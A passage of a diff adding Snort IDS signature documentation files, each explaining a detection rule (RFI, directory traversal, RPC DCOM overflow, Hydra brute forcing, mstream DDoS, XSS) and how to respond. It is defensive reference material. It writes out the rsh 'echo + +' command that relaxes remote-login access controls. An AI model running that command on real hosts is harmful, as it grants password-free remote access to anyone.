+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation. In
+some instances this event may indicate behavior contrary to best
+security practices.
+
+In this case the event is generated when a VNC server response is
+detected. This traffic indicates that a VNC client has made an attempt
+to connect to a VNC server.
+
+Virtual Network Computing (VNC) allows users to connect machines across
+a network. It allows full control of the connected machine to take
+place, the user can access all resources on the machine and any other
+resources that machine is connected to.
+
+--
+Detailed Information:
+This event may indicate a violation of corporate policy. It may also
+indicate the use of services or applications that may be the antithesis
+of best security practices.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios:
+Violation of corporate security policy can manifest serious risk to
+company assets.
+
+--
+Ease of Attack:
+Not applicable
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure adherence to best security practices and strict adherence to
+corporate policy
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2286.txt
+++ snort-2.7.0/doc/signatures/2286.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2286
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Unauthorized electronic mail relaying.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the script
+friends.php included in the PHP application vbPortal. This may indicate
+an attempt to use the server as an email relay.
+
+--
+Affected Systems:
+	All systems running the PHP application vbPortal
+
+--
+Attack Scenarios:
+The attacker could access the friends.php script directly to send spam
+email to thousands of recipients using the server as a relay.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/603.txt
+++ snort-2.7.0/doc/signatures/603.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 603
+
+--
+Summary: 
+This event is generated when an attempt to modify access control permissions for remote shell logins is attempted.
+
+--
+Impact: 
+An attacker may have modified remote login permissions such that any host is allowed to initiate a remote session on the target host.
+
+-- 
+Detailed Information: 
+The rule generates an event when system reconfiguration is attempted via "rsh". 
+
+The command "echo + +" is used to relax access control permissions for r-services to allow access from any site without the need for password authentication. 
+
+This activity is indicative of attempts to abuse hosts using a default configuration. 
+
+Some UNIX systems use the "rsh" service to allow a connection to the machine for establishing an interactive session.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with "rsh" enabled and reconfigures it to allow access from any location
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS385
+
+--
--- snort-2.7.0.orig/doc/signatures/100000717.txt
+++ snort-2.7.0/doc/signatures/100000717.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000717
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "configuration.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "configuration.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1825.txt
+++ snort-2.7.0/doc/signatures/1825.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1825
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1571.txt
+++ snort-2.7.0/doc/signatures/1571.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1571
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2853.txt
+++ snort-2.7.0/doc/signatures/2853.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2853
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure generate_replication_trigger
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3060.txt
+++ snort-2.7.0/doc/signatures/3060.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3060
+
+--
+Summary:
+This event is generated when an attempt is made to initiate a TLS
+connection via SSL version 2.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule indicates that an attempt has been made to initiate a TLS
+connection via SSL v2. This rule should not generate an event.
+
+--
+Affected Systems:
+	All implementations using SSL.
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1147.txt
+++ snort-2.7.0/doc/signatures/1147.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1147
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3287.txt
+++ snort-2.7.0/doc/signatures/3287.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3287
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000167.txt
+++ snort-2.7.0/doc/signatures/100000167.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000167
+
+-- 
+Summary: 
+The password-cracking tool Hydra has been detected in SMTP traffic.
+
+--
+Impact:
+An attacker may be attempting to break into one or more mail servers monitored 
+by Snort via a brute-force password attack. If successful, the attacker may 
+gain unauthorized access to internal networks.
+
+--
+Detailed Information:
+Hydra is a password-cracking tool released by a group of security experts 
+called THC, "The Hacker's Choice." When connecting to a mail server, it will 
+begin communications by sending either "HELO hydra" or "EHLO hydra", depending 
+upon the commands accepted by the remote server. Since a valid HELO or EHLO 
+command will contain the domain name of the system mail is being sent from, the 
+presence of either of these strings indicates that the Hydra tool is likely 
+being used.
+
+--
+Affected Systems:
+Any system running a mail server.
+
+--
+Attack Scenarios:
+Attackers will use the Hydra password-cracking tool.
+
+--
+Ease of Attack:
+Simple, as the program is publicly available and is well-documented.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check system logs and Snort alert logs for suspicious activity, particularly 
+unusual logons. Ensure that secure passwords are being used throughout your 
+network.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+
+--
--- snort-2.7.0.orig/doc/signatures/1599.txt
+++ snort-2.7.0/doc/signatures/1599.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1599
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/250.txt
+++ snort-2.7.0/doc/signatures/250.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+250
+
+--
+Summary:
+The event is generated when a DDoS mstream handler responds to an mstream client.
+
+--
+Impact:
+Severe.  If the source IP is in your network, it is possibly an mstream handler.  If the destination IP is in your network, it is possibly an mstream client.
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, clients communicate with handlers to direct them to launch attacks.  A client may contact a handler using a TCP SYN packet to destination port 15104.  A listening handler would respond to this on source port 15104 with a string of ">" in the payload.
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+After a host becomes an mstream handler, the client will attempt to communicate with the handler.  A handler will respond to this communication.
+
+
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+A legitimate server port of 15104 will cause this rule to fire.  This rule may also generate a false positive if port 15104 is selected as an FTP data port.
+
+--
+False Negatives:
+There are other known client-to-handler ports in addition to 15104.
+
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1097.txt
+++ snort-2.7.0/doc/signatures/1097.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1097
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Talentsoft knowledge base:
+http://www.webplus.com/Issues/
+
+--
--- snort-2.7.0.orig/doc/signatures/3208.txt
+++ snort-2.7.0/doc/signatures/3208.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3208
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2132.txt
+++ snort-2.7.0/doc/signatures/2132.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 2132
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in Synchrologic Email Accelerator running on Microsoft IIS. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a weakness in the Synchrologic Email Accelerator application.
+
+The attacker may be trying to gain information on the list of users allowed to use the service, this may be the prelude to an attack against the host using that information.
+
+--
+Affected Systems:
+Any host using Synchrologic Email Accelerator.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the list of authorized users for the application. The attacker might then gain access to the application as a valid user.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2951.txt
+++ snort-2.7.0/doc/signatures/2951.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2951
+
+--
+Summary:
+This event is generated when multiple stacked SMB requests are made.
+
+--
+Impact:
+Possible IDS evasion.
+
+--
+Detailed Information:
+This event is generated when multiple stacked SMB requests are detected.
+This behavior does not occur on a regular basis in normal network
+traffic. This event may indicate an attempt to evade an IDS.
+
+--
+Affected Systems:
+	All systems using SMB.
+
+--
+Attack Scenarios:
+An attacker might create multiple stacked SMB requests in an attempt to
+bypass an IDS.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+If the second and third stacked requests are of a combined length that
+is less than 37 bytes this rule will not generate an event.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disallow the use of SMB.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2037.txt
+++ snort-2.7.0/doc/signatures/2037.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2037
+
+--
+Summary:
+Network Status Monitor (NSM) is used to indicate wether a host is up or 
+for its status.
+
+--
+Impact:
+Intelligence gathering about the current state of a host and wether rpc 
+services are available.
+
+--
+Detailed Information:
+NSM runs on client machines and informs other hosts of the status of 
+that machine should a crash or reboot occur. Each remote application 
+using an rpc service can therefore register with the host when services 
+are once again available.
+
+A request made to a machine will indicate to the attacker the status of 
+that host and will also be indicative of rpc services being available. 
+The attacker might then continue to ascertain which rpc services are 
+being offered and then launch an attack on vulnerable daemons.
+
+--
+Affected Systems:
+Any system running the service.
+
+--
+Attack Scenarios:
+An attacker merely needs to request the status of the host using rpc.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+Use the hosts.allow file to restrict the hosts able to request the 
+status of the server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Network Status Monitor Protocol, The Open Group:
+http://www.opengroup.org/onlinepubs/009629799/chap11.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/2588.txt
+++ snort-2.7.0/doc/signatures/2588.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2588
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application TUTOS.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application TUTOS. The PHP application
+TUTOS is vulnerable to a path disclosure bug which may allow an attacker
+to gain information that can be used in further attacks against the
+system.
+
+The vulnerability surrounds the file note_overview.php, by manipulating
+input to the file an attacker may be presented with sensitive
+information regarding the system.
+
+--
+Affected Systems:
+	All systems using TUTOS.
+
+--
+Attack Scenarios:
+An attacker can leverage this vulnerability to gain information that may
+be useful in further attacks against the system.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2293.txt
+++ snort-2.7.0/doc/signatures/2293.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2293
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/985.txt
+++ snort-2.7.0/doc/signatures/985.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+985
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000462.txt
+++ snort-2.7.0/doc/signatures/100000462.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000462
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Open WebMail" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "From" parameter in the "openwebmail-read.pl" 
+script used by the "Open WebMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Open WebMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1536.txt
+++ snort-2.7.0/doc/signatures/1536.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1536
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
